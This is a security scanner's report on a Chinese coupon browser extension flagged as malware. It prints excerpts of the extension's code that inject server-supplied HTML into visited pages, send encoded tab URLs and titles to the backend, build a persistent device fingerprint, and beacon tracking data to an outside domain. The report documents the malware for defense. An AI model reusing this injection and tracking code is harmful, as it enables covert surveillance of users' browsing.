Security Alert: Confirmed Malware
萤火虫惠聚
ID: lcennhffgcjlaekmhmlfaeblfeamkeko
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- leiw7958View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
当您在京东等电商平台浏览商品详情页时，为您获取该商品的优惠券，领取优惠券后下单立减。
萤火虫惠聚专注于提供全面、优质的数字权益商品及服务，商品主要覆盖视频会员、文娱会员、虚拟卡币、生活服务、营销组合、知识教育、游戏会员/道具、手机话费/卡号等方面，让用户享受到海量充值优惠，使用户每一次充值更超值。充值想优惠，就上萤火虫。快来www.yhchj.com，享受更多折扣优惠。 插件功能：点击萤火虫右上小图标，萤火虫插件主界面展示。点击商品图片可进入萤火虫官方商城开始优惠充值，点击访问萤火虫官网首页按钮可进入萤火虫官方商城享受海量充值优惠，还设有为您推荐板块，以及抢购板块，更多优惠按钮，点击之后即刻享受充值优惠。
The extension treats server responses as trusted instructions, parses each item, and directly injects `item.html` into arbitrary page DOM locations chosen by the server. This enables remote UI/script-capable markup injection into visited sites, which is a strong adware/code-injection pattern.
if (adResult && adResult.result.data) { for (var item of adResult.result.data) { if (!item) { continue; } item = JSON.parse(item) // if (item.domheight) item.domheight = Number(item.domheight) // if (item.domwidth) item.domwidth = Number(item.domwidth) // if (item.domheightmax) item.domheightmax = Number(item.domheightmax) // if (item.domwidthmax) item.domwidthmax = Number(item.domwidthmax) // console.log(item) if (item.type && item.type == 3) { var _patt = /\?/g if (_patt.test(item.html.href)) { item.html.href = item.html.href + '&ref=' + uuid + '_3_' + _id } else { item.html.href = item.html.href + '?ref=' + uuid + '_3_' + _id } chrome.runtime.sendMessage({ type: 'notification', data: item.html }, sendMsgResult => { }) } else if (item.type && item.type == 1) { const closeTimerLabel = await getStorage(item.closeTimerLabel) if (!closeTimerLabel) { $(item.parentDom) .append(item.html) // 插入广告到页面上On matched pages, the content script collects the full tab URL, page title, a persistent UUID, and stored browser/version metadata, then sends it to the backend. Because the extension runs on `<all_urls>` at `document_start`, this becomes broad browsing telemetry collection rather than a narrowly scoped coupon feature.
let yhc_get_type = '/yhc'let uuid = await yhc_get_uuid(yhc_get_type)let base64 = window.btoa(encodeURI(response.sender.tab.url))while (base64[base64.length - 1] === '=') { base64 = base64.substring(0, base64.length - 1)}let dataOtherQuery = {}, otherQuery = await getStorage('otherkey')if (otherQuery) { dataOtherQuery = { ...otherQuery }}chrome.runtime.sendMessage({ type: 'post', url: '/yhc', data: { current: randomString(2) + base64 + randomString(2), id: _id, title: response.sender.tab.title, uuid, ...dataOtherQuery } }, async (adResult) => {The background page stores an externally supplied URL and opens it when the notification is clicked. Since notifications are populated from message data originating in server-driven ad objects, the backend can push arbitrary click-through destinations and social-engineered lures to users.
chrome.notifications.getAll(notifications => { if (notifications.yhc_sys_message) { chrome.notifications.clear('yhc_sys_message', () => { chrome.notifications.create('yhc_sys_message', _data, () => { GLOBAL_SYS_HREF = _href }) }) } else { chrome.notifications.create('yhc_sys_message', _data, () => { GLOBAL_SYS_HREF = _href }) }})}sendResponse({ sender})return true;}});// 监听点击通知消息chrome.notifications.onClicked.addListener(notificationId => { if (notificationId === 'yhc_sys_message' && GLOBAL_SYS_HREF) { window.open(GLOBAL_SYS_HREF, '_blank')This fingerprinting code enumerates high-entropy browser/device features such as plugins, canvas output, WebGL characteristics, and anti-spoofing signals. Those signals are commonly used to build resilient device fingerprints for tracking users across sites and sessions.
key: 'plugins', getData: pluginsComponent}, { key: 'canvas', getData: canvasKey}, { key: 'webgl', getData: webglKey}, { key: 'webglVendorAndRenderer', getData: webglVendorAndRendererKey}, { key: 'adBlock', getData: adBlockKey}, { key: 'hasLiedLanguages', getData: hasLiedLanguagesKey}, { key: 'hasLiedResolution', getData: hasLiedResolutionKey}, { key: 'hasLiedOs', getData: hasLiedOsKeyThe extension hashes fingerprint components into a stable `uuid`, stores it in local extension storage, and immediately reuses it for tracking events. This creates a persistent identifier that survives page navigations and enables long-term user correlation.
chrome.storage.local.get(['uuid'], (result) => { if (!result.uuid) { var t = Math.round(new Date()); Fingerprint2.get(function(components) { var myArray = new Array(); for (var i in components) { myArray.push(components[i].value); } var murmur = Fingerprint2.x64hash128(myArray.join(''), 31); chrome.storage.local.set({ uuid: murmur + '.' + t }, () => { console.log('保存uuid成功！'); }); if (!onlyNeedUid) { let _err = {} if (err) _err.err = err yhc_track({ tid, uuid: murmur + '.' + t, eid, cid, ..._err }) } resolve(murmur + '.' + t) }); } else {Tracking data is exfiltrated through a beacon image request to `https://apis.yhchj.com/ep.gif`, with all query fields appended into the URL. This is a covert analytics pattern that avoids normal XHR visibility while transmitting the persistent UUID and event metadata.
Fingerprint2.log = async function(query) { //url - 广告请求链接 var img = new Image(); //new Image实例 var r = []; var otherQuery = await getStorage('otherkey') query = { ...query, ...otherQuery } for (var i in query) { r.push(i + "=" + query[i]); } img.src = __yhc_track_url + '?' + r.join("&"); //利用image src加载url实现曝光统计}By severity
Versions scanned
Showing 2 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.1.1 | 8 |
| 1.0.2 | 6 |
Files with findings
5 distinct paths — top paths by unique finding count:
- js/contentScript.js4
- js/utils.js4
- js/fp2.js3
- js/background.js2
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.